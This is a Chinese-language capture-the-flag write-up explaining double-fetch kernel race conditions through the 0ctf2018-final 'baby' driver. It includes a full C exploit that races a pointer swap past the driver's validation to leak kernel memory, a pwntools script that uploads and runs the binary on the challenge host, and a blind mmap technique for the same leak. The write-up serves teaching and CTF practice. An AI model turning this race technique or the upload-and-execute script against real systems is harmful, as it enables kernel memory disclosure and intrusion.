Double fetch
Double fetch漏洞是一種條件競爭漏洞,由於多線程的原因,使得內核裏多次訪問到用戶的數據不一致而引發的漏洞。我們用戶態傳數據給內核,如果是簡單的數據,則按傳值傳遞,如果數據量很大很複雜,我們則傳指針給內核。內核裏首先會對數據的合理性進行校驗,校驗成功後,待會內核又重新在某處來訪問我們的數據,而如果有另外一個線程在這之前篡改了數據,就使得數據不一致,從而可能形成漏洞。
我們以0ctf2018-final-baby這題爲例
首先,我們用IDA分析一下ko驅動文件
經過分析,驅動裏的ioctl函數定義了兩個交互命令,0x6666命令,用於獲取驅動裏的flag的地址,0x1337用於傳遞給驅動數據,如果檢驗成功,則輸出flag。
檢驗點有三個
- 傳遞的數據指針範圍必須在用戶態內存內
- 傳遞的長度必須等於真正的flag的長度
- 傳遞的flag的內容必須與內核裏的flag內容一樣
傳給內核的數據結構如下
- typedef struct {
- char *flag_addr;
- size_t len;
- } Data;
顯然,我們直接把flag_addr傳爲內核給我們的那個flag地址,不能通過if裏面的驗證。我們可以以多線程來思考這個問題。我們開一個線程,裏面不斷的修改flag_addr爲內核態的flag地址。然後再來一個線程,不斷向內核傳輸能夠通過驗證的數據。兩個線程會有碰撞,如果第二個線程在某時刻,數據通過了內核的驗證,但內核還沒有執行for循環,此時,另一個線程,修改了用戶態的flag_addr,將它指向了內核態的flag。接下來,第二個線程開始執行for循環了,通過驗證,最後輸出flag。
我們的exploit.c程序,如果沒有得到flag,可以多試幾次,注意使用靜態編譯。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define LINE_LEN 0x100
//碰撞次數
#define TRYTIME 0x3000
//傳給驅動的數據結構
typedef struct {
char *flag_addr;
size_t len;
} Data;
//我們用戶態的一段緩衝區
char user_buf[0x34] = {0};
int finished = 0;
long flag_addr = -1; //內核返回給我們的flag_addr地址
//這個線程,用於修改通過驗證的data裏面的flag_addr
void changeFlagAddr(void *s) {
Data *data = (Data *)s;
while (!finished) {
data->flag_addr = (char *)flag_addr;
}
}
int main() {
//線程句柄
pthread_t t1;
//打開驅動的文件描述符
int fd = open("/dev/baby",O_RDWR);
//請求驅動返回給我們flag的地址
ioctl(fd,0x6666);
//關閉標準輸入輸出緩衝
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
//讀取flag的地址
FILE *info = popen("dmesg","r");
fseek(info,-LINE_LEN,SEEK_END);
char line[1024];
while (fgets(line, sizeof(line),info) != NULL) {
char *index;
if ((index = strstr(line,"Your flag is at "))) {
index += strlen("Your flag is at ");
flag_addr = strtoull(index,index+16,16);
}
}
pclose(info);
if (flag_addr == -1) {
printf("error:get flag addr!\n");
exit(-1);
}
printf("flag_addr=0x%lx\n",flag_addr);
//準備好我們的數據,全爲用戶態數據,待會發給驅動,通過驗證
Data data;
data.flag_addr = user_buf;
data.len = 33;
//開啓一個線程,不斷嘗試把flag_addr指向內核態的flag_addr
pthread_create(&t1, NULL,changeFlagAddr,&data);
//正常線程,不斷嘗試發送合法的數據給驅動
for (int i=0;i<TRYTIME;i++) {
ioctl(fd,0x1337,&data);
data.flag_addr = user_buf;
}
finished = 1;
//等待線程結束
pthread_join(t1, NULL);
//關閉文件描述符
close(fd);
puts("the result is:");
system("dmesg | grep flag");
return 0;
}
如果在遠程,我們則先在本地編譯好二進制文件,然後藉助於base64編碼來傳送二進制文件到遠程執行。
transfer.py
#coding:utf8
from pwn import *
import base64
sh = remote('xxx',10100)
#我們編寫好的exploit
f = open('./exploit','rb')
content = f.read()
total = len(content)
f.close()
#每次發送這麼長的base64,分段解碼
per_length = 0x200;
#創建文件
sh.sendlineafter('$','touch /tmp/exploit')
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
sh.sendlineafter('$','chmod +x /tmp/exploit')
sh.sendlineafter('$','/tmp/exploit')
sh.interactive()
本題還可以使用盲注,因爲flag被硬編碼在ko驅動文件裏,我們可以在用戶態mmap兩塊內存,其中第一塊內存可讀寫,第二塊內存設置不可讀寫,然後,我們將需要對比的那個字符放在第1塊內存的末尾,由於第二塊內存不可讀寫,驅動在執行for循環對比字符時,如果我們猜測的前一個字符是正確的,將會繼續訪問下一個字符,而下一個字符的位置在第二塊不可讀寫的內存,此時內核就會報錯。由此,我們可以來判斷是否猜測正確。